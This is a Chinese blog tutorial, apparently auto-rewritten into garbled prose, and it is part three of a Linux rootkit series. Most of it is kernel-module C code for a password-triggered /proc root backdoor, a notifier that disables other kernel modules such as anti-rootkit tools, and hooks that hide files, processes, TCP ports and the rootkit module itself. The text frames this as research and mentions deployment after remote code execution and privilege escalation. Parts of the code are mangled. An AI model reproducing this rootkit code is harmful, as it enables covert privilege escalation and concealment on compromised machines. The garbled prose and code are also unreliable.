Linux Rootkit系列产品三:案例详细说明 Rootkit 必需

摘要: 文中需要的详细编码坐落于小编的编码库房:NoviceLive/research-rootkit。检测提议: 不必在物理学机检测!不必在物理学机检测! 不必在物理学机检测!概述短话长说,文中不准备给大伙...

文中需要的详细编码坐落于小编的编码库房:NoviceLive/research-rootkit。
检测提议: 不必在物理学机检测!不必在物理学机检测! 不必在物理学机检测!
概述
短话长说,文中不准备给大伙儿详细介绍剩余的几类不一样的系统软件启用挂勾技术性:例如说,改动 32 位系统软件启用( 应用 int $0x80 ) 进到核心必须应用的IDT (Interrupt descriptor table / 终断叙述符表) 项, 改动 64位系统软件启用( 应用 syscall )必须应用的MSR (Model-specific register / 实体模型特殊寄放器,实际讲, 64位系统软件启用外派例程的详细地址坐落于 MSR_LSTAR );又例如根据改动系统软件启用外派例程 (对 64 位系统软件启用来讲也便是entry_SYSCALL_64 ) 的钩法; 又或是,内联挂勾 / InlineHooking。
这种钩法大家之后再谈,如今,大家先专心致志把一种钩法玩出花式。上一一篇文章讲的钩法,也便是涵数指针的更换,其实不局限性于钩系统软件启用。文中会将这类方式运用到别的的涵数上。
第一一部分:Rootkit 必需的基本要素
坐稳,坐好。
1. 出示 root 侧门
这一非常好讲,小编就拿出示 root 侧门这一作用开刀了。
大家拿侧门的那段源码修改就行了。
实际来说,逻辑性是那样子的, 大家的核心控制模块在/proc 下边建立一个文档,假如某一个过程向这一文档载入特殊的內容(阅读者能够把这一 特殊的內容 了解成动态口令或是登陆密码),大家的核心控制模块就把这一过程的uid 与 euid这些统统设定成 0, 也便是 root 账户的。那样,这一过程就有着了 root管理权限。
何不拿 全志 root 侧门这一件事来举个案子,在运作有侧门的 Linux 核心的机器设备上, 过程只必须向/proc/sunxi_debug/sunxi_debug 载入 rootmydevice 便可以得到 root管理权限。
此外,大家的核心控制模块建立的哪个文档显而易见是要掩藏掉的。考虑到到如今还没有讲文档掩藏(文中后边商谈文档掩藏),因此这一小标题的试验其实不包含将建立出去的文档掩藏掉。
下边大家看一下如何以内核控制模块里建立/proc 下边的文档。
全志 root 侧门编码里采用的create_proc_entry 是一个落伍了的API,并且在新核心里边它早已被除掉了。 考虑到到小编临时还不考虑到适配老的核心,因此大家立即用新的API, proc_create 与 proc_remove , 各自用以建立与删掉一个/proc 下边的新项目。
涵数原形以下。
# include
static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
void
proc_remove(struct proc_dir_entry *entry);
proc_create 主要参数的含意先后为,文档姓名,文档浏览方式,父文件目录,文档实际操作涵数构造体。 大家关键关注第四个主要参数:struct file_operations里边是一些涵数指针,即对文档的各种各样实际操作的解决涵数, 例如,读( read)、写( write )。 该构造体的界定坐落于 linux/fs.h,后边讲文档掩藏的情况下还会继续碰到它。
建立与删掉一个 /proc文档的编码实例以下。
struct proc_dir_entry *entry;
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, proc_fops);
proc_remove(entry);
完成大家的要求只必须出示一个写实际操作( write )的解决涵数便可以了,以下所显示。
ssize_t
write_handler(struct file * filp, const char __user *buff,
  size_t count, loff_t *offp);
struct file_operations proc_fops = {
  .write = write_handler
};
ssize_t
write_handler(struct file * filp, const char __user *buff,
  size_t count, loff_t *offp)
{
  char *kbuff;
  struct cred* cred;
  // 分派运行内存。
  kbuff = kmalloc(count, GFP_KERNEL);
  if (!kbuff) {
  return -ENOMEM;
  }
  // 拷贝到核心缓存区。
  if (copy_from_user(kbuff, buff, count)) {
  kfree(kbuff);
  return -EFAULT;
  }
  kbuff[count] = (char)0;
  if (strlen(kbuff) == strlen(AUTH)
  strncmp(AUTH, kbuff, count) == 0) {
  // 客户过程载入的內容就是我们的动态口令或是登陆密码,
  // 把过程的 ``uid`` 与 ``gid`` 这些
  // 都设定成 ``root`` 账户的,将其提权到 ``root``。
  fm_alert( %s , Comrade, I will help you.
  cred = (struct cred *)__task_cred(current);
  cred- uid = cred- euid = cred- fsuid = GLOBAL_ROOT_UID;
  cred- gid = cred- egid = cred- fsgid = GLOBAL_ROOT_GID;

  fm_alert( %s , See you!
  } else {
  // 登陆密码不正确,回绝提权。
  fm_alert( Alien, get out of here: %s. , kbuff);
  }
  kfree(buff);
  return count;
}
试验
编译程序并载入大家的核心控制模块,以 Kali 为例子:Kali 默认设置仅有 root 账户, 大家能够用useradd  加上一个临时性的非 root 账户来运作提权脚本制作(r00tme.sh )做演试。 实际效果参照下面的图, 能看到在提权以前客户的uid 是 1000,也便是一般客户,不可以载入 /proc/kcore ; 提权以后,uid 变为了0,也便是非常客户,能够载入 /proc/kcore 。

2. 操纵核心控制模块的载入
想像一下,在一个月黑风高的夜里,邪恶的阅读者(误:善解人意的阅读者)根据某类方式(将会的經典次序是RCE +LPE , Remote CodeExecution / 远程控制编码实行 + Local Privilege Escalation / 当地权利提高)获得了某台设备的 root 指令实行; 从而实行 Rootkit 的 Dropper程序释放出来并配备好 Rootkit, 让其进到工作中情况。
这时候候,Rootkit 最先应当做的其实不是出示 root 侧门;只是,一层面,大家应当试着将我们进去的门(系统漏洞)堵上, 防止 别的欠佳人民群众乱入,另外一层面,大家期待能操纵好别的程序(这一别的程序关键就是指反 Rootkit 程序与 别的 欠佳 Rootkit),使其不用载 别的 欠佳核心控制模块与大家以内核态血拼。
理想化情况下,大家的 Rootkit 独自一人占据核心态, 阻拦全部无须要的编码(特别是在是反 Rootkit 程序与 别的 欠佳 Rootkit)以内核态实行。自然,理想化是严峻的,因此大家先做些非常容易的,操纵核心控制模块的载入。
操纵核心控制模块的载入,大家能够从通告链体制着手。通告链的详尽工作中体制阅读者能够查询参照材料;简易来说,当某一分系统或是控制模块产生某一恶性事件时,该分系统积极解析xml某一链表,而这一链表格中纪录着别的分系统或是控制模块申请注册的恶性事件解决涵数,根据传送适当的主要参数启用这一解决涵数做到恶性事件通告的目地。
实际来讲,大家申请注册一个控制模块通告解决涵数,在控制模块进行载入以后、刚开始原始化以前, 即控制模块情况为 MODULE_STATE_COMING, 将其原始涵数调包成一个甚么都不做的涵数。那样一来,控制模块不可以进行原始化,也就非常于残废了。
小编决策多读一读编码,少讲基础理论,因此大家先扼要剖析一下核心控制模块的载入全过程。 有关编码坐落于核心源代码树的kernel/module.c 。 大家从 init_module 刚开始看。
SYSCALL_DEFINE3(init_module, void __user *, umod,
  unsigned long, len, const char __user *, uargs)
{
  int err;
  = { };
  // 查验当今设定是不是容许载入核心控制模块。
  err = may_init_module();
  if (err)
  return err;
  pr_debug( init_module: umod=%p, len=%lu, uargs=%p ,
  umod, len, uargs);
  // 拷贝控制模块到核心。
  err = copy_module_from_user(umod, len, info);
  if (err)
  return err;
  // 交到 ``load_module`` 进一步解决。
  return load_module( info, uargs, 0);
}
控制模块载入的关键工作中全是 load_module 进行的,这一涵数较为长,这儿只贴大家关注的一小段。
static int load_module( *info, const char __user *uargs,
  int flags)
{
  // 这儿省去多个编码。
  /* Finally it s fully formed, ready to start executing. */
  // 控制模块早已进行载入,能够刚开始实行了(可是还没有有实行)。
  err = complete_formation(mod, info);
  if (err)
  goto ddebug_cleanup;
  // 大家申请注册的通告解决涵数会在 ``ing_module`` 的
  // 情况下被启用,进行偷天换日。在下边大家还会继续剖析一下这一涵数。
  err = ing_module(mod);
  if (err)
  goto bug_cleanup;
  // 这儿省去多个编码。
  // 在 ``do_init_module`` 里边,控制模块的原始涵数会强制执行。
  // 但是在这里个情况下,大家早已把他的原始化涵数调包了(/偷笑)。
  return do_init_module(mod);
  // 这儿省去多个编码:不正确时释放出来資源等。
}
static ing_module(struct module *mod)
{
  int err;
  ftrace_module_enable(mod);
  err = ing(mod);
  if (err)
  return err;

 

  // 便是这儿!启用通告链中的通告解决涵数。
  // ``MODULE_STATE_COMING`` 会完好无损地传送帮我们的解决涵数,
  // 大家的解决涵数只需解决这一通告。
  blocking_notifier_call_chain( module_notify_list,
  MODULE_STATE_COMING, mod);
  return 0;
}
说的实际点, 大家申请注册的通告链解决涵数是在 notifier_call_chain涵数里被启用的,启用层级为: blocking_notifier_call_chain - __blocking_notifier_call_chain - notifier_call_chain 。有疑虑的阅读者能够细腻地看一下这一部分编码, 坐落于核心源代码树的kernel/notifier.c 。
编码剖析告一文章段落,接下去大家看一下怎样申请注册控制模块通告解决涵数。用以叙述通告解决涵数的构造体是 struct notifier_block , 界定以下 。
typedef  int (*notifier_fn_t)(struct notifier_block *nb,
  unsigned long action, void *data);
struct notifier_block {
  notifier_fn_t notifier_call;
  struct notifier_block __rcu *next;
  int priority;
};
申请注册或是销户控制模块通告解决涵数可使用 register_module_notifier 或是unregister_module_notifier ,涵数原形以下。
int
register_module_notifier(struct notifier_block *nb);
int
unregister_module_notifier(struct notifier_block *nb);
撰写一个通告解决涵数,随后添充 struct notifier_block 构造体, 最终应用register_module_notifier 申请注册便可以了。编码片断以下。
int
module_notifier(struct notifier_block *nb,
  unsigned long action, void *data);
struct notifier_block nb = {
  .notifier_call = module_notifier,
  .priority = INT_MAX
};
上边的编码是申明解决涵数并添充需要构造体; 下边是解决涵数实际完成。
int
fake_init(void);
void
fake_exit(void);
int
module_notifier(struct notifier_block *nb,
  unsigned long action, void *data)
{
  struct module *module;
  unsigned long flags;
  // 界定锁。
  DEFINE_SPINLOCK(module_notifier_spinlock);
  module = data;
  fm_alert( Processing the module: %s , module- name);
  //储存终断情况加锁。
  spin_lock_irqsave( module_notifier_spinlock, flags);
  switch (module- state) {
  case MODULE_STATE_COMING:
  fm_alert( Replacing init and exit functions: %s. ,
  module- name);
  // 偷天换日:伪造控制模块的原始涵数与撤出涵数。
  module- init = fake_init;
  module- exit = fake_exit;
  break;
  default:
  break;
  }
  // 修复终断情况开启。
  spin_unlock_irqrestore( module_notifier_spinlock, flags);
  return NOTIFY_DONE;
}
int
fake_init(void)
{
  fm_alert( %s , Fake init.
  return 0;
}
void
fake_exit(void)
{
  fm_alert( %s , Fake exit.
  return;
}
试验
检测时大家还必须搭建此外一个简易的控制模块( test )来检测,从下面的图能看到在载入用以操纵控制模块载入的核心控制模块( komonko ) 以前,test 的原始涵数与撤出涵数都一切正常的实行了; 在载入 komonko 以后,不管是载入 test 還是卸载掉 test , 它的原始涵数与撤出涵数也没有实行,实行的就是我们调包后的原始涵数与撤出涵数。

3. 掩藏文档
讲好的关键內容文档掩藏来啦。但是说到文档掩藏,大家何不首先看看文档解析xml的完成, 也便是系统软件启用getdents / getdents64 ,简单地访问它以内核态服务涵数(sys_getdents)的源代码 (坐落于fs/readdir.c ),大家能看到以下启用层级, sys_getdents - iterate_dir - struct file_operations 里的 iterate - 这儿省去多个层级 - struct dir_context 里的 actor ,也便是filldir 。
filldir 承担把一项纪录(例如说文件目录下的一个文档或是一身高文件目录)填到回到的缓存区域。假如大家钩掉 filldir ,并在大家的勾子涵数里对一些特殊的纪录给予立即抛弃,不填到缓存区域,顶层涵数与运用程序就收不上哪个纪录,也也不了解哪个文档或是文档夹的存有了,也就完成了文档掩藏。

 

实际来说,大家的掩藏逻辑性以下: 伪造网站根目录(也便是 / )的 iterate为大家的假 iterate , 在假涵数里把 struct dir_context 里的 actor更换成大家的 假 filldir ,假 filldir 会把必须掩藏的文档过虑掉。
下边是假 iterate 与 假 filldir 的完成。
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
  // 备份数据确实 ``filldir``,以便后边之需。
  real_filldir = ctx- actor;
  // 把 ``struct dir_context`` 里的 ``actor``,
  // 也便是确实 ``filldir``
  // 更换成大家的假 ``filldir``
  *(filldir_t *) ctx- actor = fake_filldir;
  return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
  loff_t offset, u64 ino, unsigned d_type)
{
  if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
  // 假如是必须掩藏的文档,立即回到,不填到缓存区域。
  fm_alert( Hiding: %s , name);
  return 0;
  }
  /* pr_cont( %s , name); */
  // 假如并不是必须掩藏的文档,
  // 交到的确实 ``filldir`` 把这一纪录填到缓存区域。
  return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
钩某一文件目录的 struct file_operations 里的涵数, 小编写了一个通用性的宏。
# define set_f_op(op, path, new, old) 
  do { 
  struct file *filp; 
  struct file_operations *f_op; 
 
  fm_alert( Opening the path: %s. , path); 
  filp = filp_open(path, O_RDONLY, 0); 
  if (IS_ERR(filp)) { 
  fm_alert( Failed to open %s with error %ld. ,
  path, PTR_ERR(filp)); 
  old = NULL; 
  } else { 
  fm_alert( Succeeded in opening: %s , path); 
  f_op = (struct file_operations *)filp- f_op; 
  old = f_op-  

 

 
  fm_alert( Changing iterate from %p to %p. , 
  old, new); 
  disable_write_protection(); 
  f_op- op = new; 
  enable_write_protection(); 
  } 
  } while(0)
试验
试验时,小编随(gu)手(yi)用于掩藏的文档名: 032416_525.mp4 。从下面的图大家能看到,在载入大家的核心控制模块( fshidko )以前, test文件目录下的 032416_525.mp4 是能够例举出去的; 可是载入 fshidko以后全看不上了,而且在 dmesg 的系统日志里, 大家能看到 fshidko复印的掩藏了这一文档的信息内容。

选读內容:有关核心源代码的简单剖析
SYSCALL_DEFINE3(getdents, unsigned int, fd,
  struct linux_dirent __user *, dirent, unsigned int, count)
{
  // 这儿省去多个编码。
  struct getdents_callback buf = {
  .ctx.actor = filldir, // 最终的接锅英雄人物。
  .count = count,
  .current_dir = dirent
  };
  // 这儿省去多个编码。
  // 跟踪 ``iterate_dir``,
  // 能看到它是根据 ``struct file_operations`` 里
  // ``iterate`` 进行每日任务的。
  error = iterate_dir(f.file, buf.ctx);
  // 这儿省去多个编码。
  return error;
}
int iterate_dir(struct file *file, struct dir_context *ctx)
{
  struct inode *inode = file_inode(file);
  int res = -ENOTDIR;
  // 假如 ``struct file_operations`` 里的 ``iterate``
  // 为 ``NULL``,回到 ``-ENOTDIR`` 。
  if (!file- f_op- iterate)
  goto out;
  // 这儿省去多个编码。
  res = -ENOENT;
  if (!IS_DEADDIR(inode)) {
  ctx- pos = file- f_pos;
  // ``iterate_dir`` 把锅甩给了
  // ``struct file_operations`` 里的 ``iterate``,
  // 对这一 ``iterate`` 的剖析可以看下边。
  res = file- f_op- iterate(file, ctx);
  file- f_pos = ctx-
  // 这儿省去多个编码。
  }
  // 这儿省去多个编码。
out:
  return res;
}
这一层一层的剥掉, 大家赶到了 struct file_operations 里边的 iterate, 这一 iterate 不在同的文档系统软件有不一样的完成, 下边(坐落于fs/ext4/dir.c ) 是对于 ext4文档系统软件的 struct file_operations , 大家能看到ext4 文档系统软件的 iterate 是ext4_readdir 。

 

const struct file_operations ext4_dir_operations = {
  .llseek  = ext4_dir_llseek,
  .read  = generic_read_dir,
  .iterate  = ext4_readdir,
  .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
  .compat_ioctl  = pat_ioctl,
#endif
  .fsync  = ext4_sync_file,
  .open  = ext4_dir_open,
  .release  = ext4_release_dir,
};
ext4_readdir 历经各种各样各种各样的实际操作以后会根据 filldir把文件目录里的新项目一个一个的填到 getdents回到的缓存区域,缓存区域是一个个的 struct linux_dirent 。大家的掩藏方式便是在 filldir 里把必须掩藏的新项目给过虑掉。
4. 掩藏过程
Linux 上纯客户态枚举类型并获得过程信息内容,/proc 是唯一的好去处。因此,对客户态掩藏过程,大家能够掩藏掉/proc 下边的文件目录,那样客户态能枚举类型出去过程就在大家的操纵下了。阅读者如今应当一丝感受到为何文档掩藏是文中的关键內容了。
大家改动一下上边掩藏文档时的假 filldir 就可以完成过程掩藏, 以下所显示。
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
  loff_t offset, u64 ino, unsigned d_type)
{
  char *endp;
  long pid;
  // 把标识符串变为长整数金额。
  pid = simple_strtol(name, endp, 10);
  if (pid == SECRET_PROC) {
  // 就是我们必须掩藏的过程,立即回到。
  fm_alert( Hiding pid: %ld , pid);
  return 0;
  }
  /* pr_cont( %s , name); */
  // 并不是必须掩藏的过程,交到确实 ``filldir`` 填到缓存区域。
  return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
试验
小编挑选掩藏 pid 1 来做演试。在应用systemd 的系统软件上,pid 1 一直 systemd,看看图, 大家能看到载入大家的控制模块( pshidko )以后, ps -A看不见 systemd了;把 pshidko 卸载掉掉,systemd就显示信息出去了。

5. 掩藏端口号
向客户态掩藏端口号, 实际上便是再用户过程读/proc下边的有关文档获得端口号信息内容时, 把必须掩藏的的端口号的內容过虑掉,促使客户过程读到的內容里边沒有大家想掩藏的端口号。
实际来说,看看面的报表。
互联网种类 /proc 文档 核心源代码文档 关键完成涵数
TCP / IPv4 ///ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 ///ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 ///ipv4/udp.c udp4_seq_show
UDP / IPv6 ///ipv6/udp.c udp6_seq_show
本小标题以TCP /IPv4为例子,别的状况阅读者可举一反三。
文档的第一行是每一列的含意, 后边的行便是当今互联网联接(socket /套接字)的实际信息内容。 这种信息内容是根据 seq_file 插口在 /proc 中曝露的。seq_file 有着的实际操作涵数以下,大家必须关注是 show 。
struct seq_operations {
  void * (*start) (struct seq_file *m, loff_t *pos);
  void (*stop) (struct seq_file *m, void *v);
  void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  int (*show) (struct seq_file *m, void *v);
};
前边大家提及了掩藏端口号也便是在过程载入 //tcp 等文档获得端口号信息内容时过虑掉不期待让过程见到的內容,实际来说, /tcp 等文档的 show 涵数伪造成大家的勾子涵数,随后在大家的假 show 涵数里开展过虑。
大家首先看看用于叙述 seq_file 的构造体,即 struct seq_file , 界定于linux/seq_file.h 。 seq_file 有一个缓存区,也便是 buf 组员,容积是 size ,早已应用的量是 count ;了解了这好多个组员的功效就可以了解用以过虑端口号信息内容的假 tcp_seq_show 了。
struct seq_file {
  char *buf; // 缓存区。
  size_t size; // 缓存区容积。
  size_t from;
  size_t count; // 缓存区早已应用的量。
  size_t pad_until;
  loff_t index;
  loff_t read_pos;
  u64 version;
  struct mutex lock;
  const struct seq_operations *op;
  int poll_event;
  const struct file *file;
  void *private;
};
钩 //tcp 等文档的 show 涵数的方式与以前讲掩藏文档钩iterate 的方式相近, 用下边的宏能够通用性的钩这好多个文档 seq_file插口里边的实际操作涵数。
# _seq_op(op, path, afinfo_struct, new, old) 

 

  do { 
  struct file *filp; 
  afinfo_struct *afinfo; 
 
  filp = filp_open(path, O_RDONLY, 0); 
  if (IS_ERR(filp)) { 
  fm_alert( Failed to open %s with error %ld. , 
  path, PTR_ERR(filp)); 
  old = NULL; 
  } 
 
  afinfo = PDE_DATA(filp- f_path.dentry- d_inode); 
  old = afinfo- seq_ops.op; 
  fm_alert( Setting seq_op- #op from %p to %p. , 
  old, new); 
  afinfo- seq_ops.op = new; 
 
  filp_close(filp, 0); 

 

  } while (0)
最终,大家看一下假 show 涵数是怎样过虑掉端口号信息内容的。
注1 : TMPSZ 是 150,核心源代码里是那样界定的。也就是说,//tcp 里的每一条纪录全是 149 个字节数(算不上换行)长,不足的用空格符补足。
注2 : 大家无需 TMPSZ 还可以,而且会更为灵便,实际关键点可以看下边掩藏核心控制模块时 /proc/modules 的假 show涵数是如何解决的。
int
fake_seq_show(struct seq_file *seq, void *v)
{
  int ret;
  char needle[NEEDLE_LEN];
  // 把端口号变换成 16 进制,前边带个分号,防止错判。
  // 用于分辨此项纪录是不是必须过虑掉。
  snprintf(needle, NEEDLE_LEN, :%04X , SECRET_PORT);
  // real_seq_show 会往 buf 里添充一项纪录
  ret = real_seq_show(seq, v);
  // 此项纪录的起止 = 缓存区起止 + 现有量 - 每条纪录的尺寸。
  if (strnstr(seq- buf + seq- count - TMPSZ, needle, TMPSZ)) {
  fm_alert( Hiding port %d using needle %s. ,
  SECRET_PORT, needle);
  // 纪录里包括大家必须掩藏的的端口号信息内容,
  // 把 count 减去一个纪录尺寸,
  // 非常于把这一纪录除去没了。
  seq- count -= TMPSZ;
  }
  return ret;
}
试验
大家拿TCP /IPv4 111 端口号来做演试,阅读者必须依据具体检测时的自然环境做必需修改。 如图所示,载入 pthidko以前,大家能看到 111 端口号处在监视情况;载入以后,这条纪录看不到了,被掩藏起來; 把 pthidko卸载掉掉,这条纪录又显示信息出去了。

6. 掩藏核心控制模块
《Linux Rootkit 系列产品一: LKM的基本撰写及掩藏》一文里提及了掩藏核心控制模块的二种方法, 一种能够从 lsmod 中掩藏掉,另外一种能够从 /sys/module 里掩藏掉。但是,这二种掩藏方法都促使控制模块无法卸载掉了。在大家开发设计的初中级环节,这一点都不便捷调节,小编临时也不讲这2个了。
大家看一下此外的构思。从 /sys/module 里掩藏得话,大家应用以前掩藏文档的方法掩藏掉便可以了。我觉得聪慧的阅读者应当想起了这一点,这再一次证实了文档掩藏的实际意义。
那麼如何从 lsmod 里掩藏掉呢。 细心回忆一下,即然 lsmod 的数据信息来源于是/proc/modules , 那用大家掩藏端口号时选用的方法就行了: 钩掉/proc/modules 的 show 涵数, 在大家的假 show涵数里过虑掉大家想掩藏的控制模块。
粗略地地访问核心源代码,大家能够发觉, /proc/modules 的完成坐落于kernel/module.c , 而且关键的完成涵数是 m_show 。
接下去的难题是, 大家如何钩这一文档 seq_file 插口里的 show 涵数呢,钩法与 //tcp 其实不一样,可是相近,可以看下边的宏。
# define set_file_seq_op(opname, path, new, old) 
  do { 
  struct file *filp; 
  struct seq_file *seq; 
  struct seq_operations *seq_op; 
 
  fm_alert( Opening the path: %s. , path); 
  filp = filp_open(path, O_RDONLY, 0); 

 

  if (IS_ERR(filp)) { 
  fm_alert( Failed to open %s with error %ld. , 
  path, PTR_ERR(filp)); 
  old = NULL; 
  } else { 
  fm_alert( Succeeded in opening: %s , path); 
  seq = (struct seq_file *)filp- private_data; 
  seq_op = (struct seq_operations *)seq-  
  old = seq_op- opname; 
 
  fm_alert( Changing seq_op- #opname from %p to %p. ,
  old, new); 
  disable_write_protection(); 
  seq_op- opname = new; 
  enable_write_protection(); 
  } 
  } while (0)
这一宏与以前写的宏十分相近,唯一的不一样,而且阅读者将会不可以了解的是下边这一行。
seq = (struct seq_file *)filp- private_data;
我觉得,阅读者的难题应当是: struct file 的 private_data组员为何会就是我们要找的 struct seq_file 指针?
可以看核心源代码。下边的片断是 /proc/modules 的原始一部分,大家要想做的是钩掉 m_show 。 纵览源代码,引入了 modules_op 的仅有seq_open 。
static const struct seq_operations modules_op = {
  .start  = m_start,

 

  .next  = m_next,
  .stop  = m_stop,
  .show  = m_show
};
static int modules_open(struct inode *inode, struct file *file)
{
  return seq_open(file, modules_op);
}
那么我们跟踪 seq_open 看一下, seq_open 的完成坐落于 fs/seq_file.c 。
int seq_open(struct file *file, const struct seq_operations *op)
{
  struct seq_file *p;
  WARN_ON(file- private_data);
  // 分派一个 ``struct seq_file`` 的 运行内存。
  p = kzalloc(sizeof(*p), GFP_KERNEL);
  if (!p)
  return -ENOMEM;
  // 阅读者见到这一行应当就可以了解了。
  // 对 ``/proc/modules`` 来讲,
  // ``struct file`` 的 ``private_data`` 偏向的便是
  // 他的 ``struct seq_file``。
  file- private_data = p;
  mutex_init( p- lock);
  // 把 ``struct seq_file`` 的 ``op`` 组员取值成 ``op``,
  // 这一 ``op`` 里就包括了大家要钩的 ``m_show`` 。
  p- op = op;
  // 这儿省去多个编码。
  return 0;
}
这时候候,大家能看看 /proc/modules 的假 show 涵数了。过虑逻辑性是非常容易了解的; 阅读者应当关键留意一下 last_size 的测算,这也便是小编在讲端口号掩藏时表示到大家能够无需 TMPSZ ,大家能够自身测算这一条纪录的尺寸。自身测算的灵便性就取决于,即使每一个纪录的尺寸并不是一样长的,大家的编码也可以一切正常工作中。
注 : /proc/modules 里的每条纪录长短的确并不是一样,有长有短。
int
fake_seq_show(struct seq_file *seq, void *v)
{
  int ret;
  size_t last_count, last_size;
  // 储存一份 ``count`` 值,
  // 下边的 ``real_seq_show`` 会往缓存区域添充一条纪录,
  // 加上进行后,seq- count 也会提升。
  last_count = seq- count;
  ret =  real_seq_show(seq, v);
  // 添充纪录以后的 count 减掉添充以前的 count
  // 便可以获得添充的这条纪录的尺寸了。
  last_size = seq- count - last_count;
  if (strnstr(seq- buf + seq- count - last_size, SECRET_MODULE,
  last_size)) {
  // 是必须掩藏的控制模块,
  // 把缓存区早已应用的量减掉这条纪录的长短,
  // 也就非常于把这条纪录除掉了。
  fm_alert( Hiding module: %s , SECRET_MODULE);
  seq- count -= last_size;
  }
  return ret;
}
试验
大家挑选掩藏控制模块自身( kohidko )来做演试。看看图。 载入 kohidko以后, lsmod 沒有显示信息出大家的控制模块, /sys/module下边也例举不上大家的控制模块; 而且,右边 dmesg 的系统日志也说明大家的假filldir 与假 show 涵数起了过虑功效。

第二一部分:将来未来展望
到此,大家探讨了大部分分做为一个 Rootkit 必需的基本要素;可是,大家的编码依然是零散的一个一个的试验,而并不是一个有机化学的总体。自然,小编的编码尽量的搞好了合理布局机构与控制模块化,这能帮我们之后拼装的情况下节约一些气力。
其次,大家将会会下手探讨 Rootkit 的检验与反检验。 也有便是探讨当今 LinuxRootkit 的具体发展趋势情况, 例如剖析己知用以具体进攻的 Rootkit所选用的技术性, 剖析大家的技术性水准差别,并从这当中学习培训怎样完成更优秀的作用。
最终,大家还将会改进适配性与扩展性。大家如今的编码只在较为新的核心版本号(例如 4.5.x / 4.6.x)上检测过。并且,大家根本就沒有考虑到己知的适配性的问题。 因此,要想在 3.x,乃至 2.x上跑, 大家还必须花時间适配不一样版本号的核心。随后,大家还期待往别的构架上发展趋势(例如 ARM )。
下车时,走好。
 

 

 



联系我们

全国服务热线:4000-399-000 公司邮箱:343111187@qq.com

  工作日 9:00-18:00

关注我们

官网公众号

官网公众号

Copyright?2020 广州凡科互联网科技股份有限公司 版权所有 粤ICP备10235580号 客服热线 18720358503

技术支持:如何在制作小程序